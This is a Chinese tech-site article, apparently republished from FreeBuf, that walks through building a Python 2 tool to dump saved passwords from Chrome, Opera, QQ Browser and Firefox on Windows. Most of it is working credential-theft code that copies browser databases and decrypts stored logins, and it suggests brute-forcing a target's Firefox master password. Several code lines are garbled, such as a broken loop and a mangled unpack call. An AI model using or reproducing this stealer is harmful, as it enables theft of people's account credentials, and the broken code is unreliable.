频道栏目
首页 > 资讯 > 工具软件 > 正文

手把手教你如何打造自己的网络安全渗透工具(浏览器篇)

16-12-10        来源:[db:作者]  
收藏   我要投稿

本文讲述的是手把手教你如何打造自己的网络安全渗透工具(浏览器篇),旨在服务社会,供安全研究人员学习使用,请勿用于其他非法用途,违者后果自负。

早就听闻FreeBuf评论区大神多,作为一个菜鸟,在极度惶恐下发表这篇文章只为抛砖引玉,让众多萌新开阔视野。

本文将会演示怎样使用Python导出Windows系统上浏览器保存的密码、书签、浏览历史等敏感数据。由于时间和个人能力关系,所涉及的浏览器种类、版本有限,还望有大神不吝赐教。

环境搭建

首先Python环境是必不可少的,强烈推荐使用32位2.7版本(即使你的系统是64位),可免去不少麻烦!

然后你需要安装以下库(使用pip快速安装)。

pywin32

#下载对应版本并安装

https://sourceforge.net/projects/pywin32/files/pywin32/

shutil:

#(非必要,在本文所含代码中仅用来拷贝文件,可使用以下代码代替)

import os

os.system('copy file directory')

pyasn1:

#(必要,除非你想造轮子)

pip install pyasn1

#测试安装是否成功

from pyasn1.codec.der import decoder

PyCrypto::

#请确保你使用的Python是32位的,不然会遇到兼容问题

#请确保你下载了Visual Studio Community 2015 : https://www.visualstudio.com/zh-hans/downloads/

#安装VS的时候请确保勾选Visual C++,Python Tools for Visual Studio

#在“..python安装路径...\Lib\distutils目录下有个msvc9compiler.py找到243行

toolskey = "VS%0.f0COMNTOOLS" % version 直接改为 toolskey = "VS140COMNTOOLS"

pip install pycrypto

#测试是否安装成功

from Crypto.Cipher import DES3

#报错的话,先卸载

pip uninstall pycrypto

#再选择对应编译版下载后安装: http://www.voidspace.org.uk/python/modules.shtml#pycrypto

#以上可解决99%安装不成功的问题,还有1%是文件夹名大小写问题

Chrome、Opera和QQ浏览器

首先,找到浏览器保存数据库的位置

#默认位置在:Chrome:C:\Users\当前用户名\AppData\Local\Google\Chrome\User Data\Default

# Opera: C:\Users\当前用户名\AppData\Roaming\Opera Software\Opera Stable

# QQ : C:\Users\当前用户名\AppData\Local\Tencent\QQBrowser\User Data\Default

# 登录QQ后:C:\Users\hasee-pc\AppData\Local\Tencent\QQBrowser\User Data\Default\QQ号码

#保存的密码:Chrome&Opera:Login Data

# QQ Browser:EncryptedStorage

#书签:Bookmarks

#浏览历史:History

#使用Python获取路径

import os

os.path.expanduser('~\\AppData\\Local\\Google\\Chrome\\User Data\\Default')

分析数据库

可以使用一款名叫DB Browser的程序查看数据库结构(http://sqlitebrowser.org/)。

以下为Chrome Login Data结构:

打开文件后,选择Browser Data即可看到储存的数据,其中password_value已加密,可使用win32crypt.CryptUnprotectData()解密

https://msdn.microsoft.com/en-us/library/windows/desktop/aa380882(v=vs.85).aspx

解密

注意,当Chrome在运行的时候,数据库会无法访问,这时候可以把数据库拷贝到一个临时文件夹,读取完成后再删除即可。完整代码如下:

#Dump saved password from Chrome

import os

import shutil

import win32crypt

class Chrome:

def get_pwd(self):

path_tab = [

os.path.expanduser('~\\Local Settings\\Application Data\\Google\\Chrome\\User Data\\Default\\Login Data'),

os.path.expanduser('~\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data')

]

data_path = [path for path in path_tab if os.path.exists(path)]

if not data_path:

debug_info = '[-]Chrome data not found.'

return

#More than 1 path valid

if len(data_path) != 1:

data_path = data_path[0]

#Copy file Login Data to avoid locking

try:

shutil.copy(data_path, os.getcwd() + '\\' + 'db_copy') #os.sep = \\

data_path = os.getcwd() + '\\' + 'db_copy'

except Exception,e:

debug_info = '[-]An error occured when copying Login Data:' + e

try:

conn = sqlite3.connect(data_path)

cursor = conn.cursor()

except Exception,e:

debug_info = '[-]An error occured when opening database file:' + e

return

cursor.execute('SELECT origin_url, username_value, password_value FROM logins')

chrome_pwd = []

for res in cursor.fetchall():

values = {}

#Decryption

try:

pwd = win32crypt.CryptUnprotectData(res[2], None, None, None, 0)[1]

except Exception,e:

pwd = ''

debug_info = '[-]An error occured when decrypting password'

values['URL'] = res[0]

values['ID'] = res[1]

values['PWD'] = pwd

chrome_pwd.append(values)

conn.close()

if data_path.endswith('db_copy'):

os.remove(data_path)

return chrome_pwd

class Opera:

def get_path(self):

data_path = os.path.expanduser('~\\AppData\\Roaming\\Opera Software\\Opera Stable\\Login Data')

if os.path.exists(data_path):

return data_path

else:

return

def get_pwd(self):

path = self.get_path()

conn = sqlite3.connect(path)

cursor = conn.cursor()

cursor.execute('SELECT action_url, username_value,password_value FROM logins')

opera_pwd = []

for value in cursor.fetchall():

values = {}

pwd = win32crypt.CryptUnprotectData(value[2],None,None,None,0)[1]

if pwd:

values['URL'] = value[0]

values['ID'] = value[1]

values['PWD'] = pwd

opera_pwd.append(values)

else:

values['URL'] = value[0]

values['ID'] = value[1]

values['PWD'] = ''

opera_pwd.append(values)

return opera_pwd

class Qq:

def __init__(self):

self.get_path()

def get_path(self):

self.data_path = []

for root,dirs,files in os.walk(os.path.expanduser('~\\AppData\\Local\\Tencent\\QQBrowser\\User Data\\Default')):

for file in files:

if file == 'EncryptedStorage':

self.data_path.append(os.path.join(root,file))

return self.data_path

def get_pwd(self):

qq_pwd = []

for path in self.data_path:

shutil.copy(path, os.getcwd() + '\\' + 'db_copy') #os.sep = \\

path = os.getcwd() + '\\' + 'db_copy'

conn = sqlite3.connect(path)

cursor = conn.cursor()

cursor.execute('SELECT str1, str2, blob0 FROM entries')

for res in cursor.fetchall():

values = {}

try:

pwd = win32crypt.CryptUnprotectData(res[2],None,None,None,0)[1]

except:

pwd = ''

values['URL'] = res[0]

values['ID'] = res[1]

values['PWD'] = pwd

qq_pwd.append(values)

conn.close()

os.remove(path)

return qq_pwd

p = Chrome() #p = Opera(),p = Qq()

for i in p.get_pwd():

print i['URL'],i['ID'],i['PWD']

运行结果如下,为了保护隐私,输出结果已“打码”。

由于篇幅原因,就不贴导出书签和浏览历史的代码了,毕竟你连账号密码登录地址都知道,还有什么隐私是得不到的呢~~
[page]

Firefox

相比前三款浏览器,Firefox想获取密码要复杂得多,而且还有主密码这个无敌的设定。(推荐各位使用Firefox)

选项>>安全>>使用主密码

以下代码仅能在未设定主密码的情况下成功运行导出密码,如果目标主机设定主密码,就只能先通过爆破或者字典猜解主密码,再去解密数据。

# inspired by pentestbox : pentestbox.org

import os

import json

import hmac

import shutil

import sqlite3

import win32crypt

from hashlib import sha1

from struct import unpack

from base64 import b64decode

from itertools import product

from Crypto.Cipher import DES3

from pyasn1.codec.der import decoder

from ConfigParser import RawConfigParser

from binascii import hexlify, unhexlify

from Crypto.Util.number import long_to_bytes

class Credentials(object):

def __init__(self, db):

global database_find

self.db = db

if os.path.isfile(db):

f = open(db, 'r')

tmp = f.read()

if tmp:

database_find = True

f.close()

class Json_db(Credentials):

def __init__(self, profile):

db = profile + os.sep + "logins.json"

super(Json_db, self).__init__(db)

def __iter__(self):

if os.path.exists(self.db):

with open(self.db) as fh:

data = json.load(fh)

try:

logins = data["logins"]

except:

raise Exception("Unrecognized format in {0}".format(self.db))

for i in logins:

yield (i["hostname"], i["encryptedUsername"], i["encryptedPassword"])

class Firefox:

def printASN1(self, d, l, rl):

type = ord(d[0])

length = ord(d[1])

if length&0x80 > 0:

nByteLength = length&0x7f

length = ord(d[2])

skip=1

else:

skip=0

if type==0x30:

seqLen = length

readLen = 0

while seqLen>0:

len2 = self.printASN1(d[2+skip+readLen:], seqLen, rl+1)

seqLen = seqLen - len2

readLen = readLen + len2

return length+2

elif type==6:

return length+2

elif type==4:

return length+2

elif type==5:

return length+2

elif type==2:

return length+2

else:

if length==l-2:

self.printASN1( d[2:], length, rl+1)

return length

def decrypt3DES(self, globalSalt, masterPassword, entrySalt, encryptedData ):

hp = sha1( globalSalt+masterPassword ).digest()

pes = entrySalt + '\x00'*(20-len(entrySalt))

chp = sha1( hp+entrySalt ).digest()

k1 = hmac.new(chp, pes+entrySalt, sha1).digest()

tk = hmac.new(chp, pes, sha1).digest()

k2 = hmac.new(chp, tk+entrySalt, sha1).digest()

k = k1+k2

iv = k[-8:]

key = k[:24]

return DES3.new( key, DES3.MODE_CBC, iv).decrypt(encryptedData)

def extractSecretKey(self, globalSalt, masterPassword, entrySalt):

if unhexlify('f8000000000000000000000000000001') not in self.key3:

return None

privKeyEntry = self.key3[ unhexlify('f8000000000000000000000000000001') ]

saltLen = ord( privKeyEntry[1] )

nameLen = ord( privKeyEntry[2] )

privKeyEntryASN1 = decoder.decode( privKeyEntry[3+saltLen+nameLen:] )

data = privKeyEntry[3+saltLen+nameLen:]

self.printASN1(data, len(data), 0)

entrySalt = privKeyEntryASN1[0][0][1][0].asOctets()

privKeyData = privKeyEntryASN1[0][1].asOctets()

privKey = self.decrypt3DES( globalSalt, masterPassword, entrySalt, privKeyData )

self.printASN1(privKey, len(privKey), 0)

privKeyASN1 = decoder.decode( privKey )

prKey= privKeyASN1[0][2].asOctets()

self.printASN1(prKey, len(prKey), 0)

prKeyASN1 = decoder.decode( prKey )

id = prKeyASN1[0][1]

key = long_to_bytes( prKeyASN1[0][3] )

return key

def getShortLE(self, d, a):

return unpack(',(d)[a:a+2])[0]

def getLongBE(self, d, a):

return unpack('>L',(d)[a:a+4])[0]

def readBsddb(self, name):

f = open(name,'rb')

header = f.read(4*15)

magic = self.getLongBE(header,0)

if magic != 0x61561:

print_debug('WARNING', 'Bad magic number')

return False

version = self.getLongBE(header,4)

if version !=2:

print_debug('WARNING', 'Bad version !=2 (1.85)')

return False

pagesize = self.getLongBE(header,12)

nkeys = self.getLongBE(header,0x38)

readkeys = 0

page = 1

nval = 0

val = 1

db1 = []

while (readkeys 1)* 4 +2)

offsetVals = []

i=0

nval = 0

val = 1

keys = 0

while nval != val :

keys +=1

key = self.getShortLE(offsets,2+i)

val = self.getShortLE(offsets,4+i)

nval = self.getShortLE(offsets,8+i)

offsetVals.append(key+ pagesize*page)

offsetVals.append(val+ pagesize*page)

readkeys += 1

i += 4

{C} offsetVals.append(pagesize*(page+1))

valKey = sorted(offsetVals)

for i in range( keys*2 ):

f.seek(valKey[i])

data = f.read(valKey[i+1] - valKey[i])

db1.append(data)

page += 1

f.close()

db = {}

for i in range( 0, len(db1), 2):

db[ db1[i+1] ] = db1[ i ]

return db

def get_path(self):

main_path = os.path.expanduser('~\\AppData\\Roaming\\Mozilla\\Firefox')

cp = RawConfigParser()

try:

cp.read(os.path.join(main_path,'profiles.ini'))

except:

return []

self.profile_list = []

for section in cp.sections():

if section.startswith('Profile'):

if cp.has_option(section, 'Path'):

self.profile_list.append(os.path.join(main_path, cp.get(section, 'Path').strip()))

return self.profile_list

def get_pwd(self):

ffox_pwd = []

for profile in self.get_path():

if not os.path.exists(profile + os.sep + 'key3.db'):

continue

self.key3 = self.readBsddb(profile + os.sep + 'key3.db')

if not self.key3:

continue

masterPassword = ''

pwdCheck = self.key3['password-check']

entrySaltLen = ord(pwdCheck[1])

entrySalt = pwdCheck[3: 3+entrySaltLen]

encryptedPasswd = pwdCheck[-16:]

globalSalt = self.key3['global-salt']

cleartextData = self.decrypt3DES( globalSalt, masterPassword, entrySalt, encryptedPasswd )

credentials = Json_db(profile)

key = self.extractSecretKey(globalSalt, masterPassword, entrySalt)

for host,user,pwd in credentials:

values = {}

values['URL'] = host

loginASN1 = decoder.decode(b64decode(user))

iv = loginASN1[0][1][1].asOctets()

ciphertext = loginASN1[0][2].asOctets()

login = DES3.new(key,DES3.MODE_CBC,iv).decrypt(ciphertext)

try:

{C} nb = unpack('B',login[-1])[0]

values['ID'] = login[:-nb]

except:

values['ID'] = login

passwdASN1 = decoder.decode(b64decode(pwd))

iv = passwdASN1[0][1][1].asOctets()

ciphertext = passwdASN1[0][2].asOctets()

password = DES3.new(key,DES3.MODE_CBC,iv).decrypt(ciphertext)

try:

nb = unpack('B',password[-1])[0]

values['PWD'] = password[:-nb]

except:

values['PWD'] = password

if len(values):

ffox_pwd.append(values)

return ffox_pwd

p = Firefox()

print p.get_pwd()

 

相关TAG标签
上一篇:打造您自己的Drozer模块,测试Android应用安全
下一篇:Nginx 访问控制&屏蔽指定 user_agent
相关文章
图文推荐

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站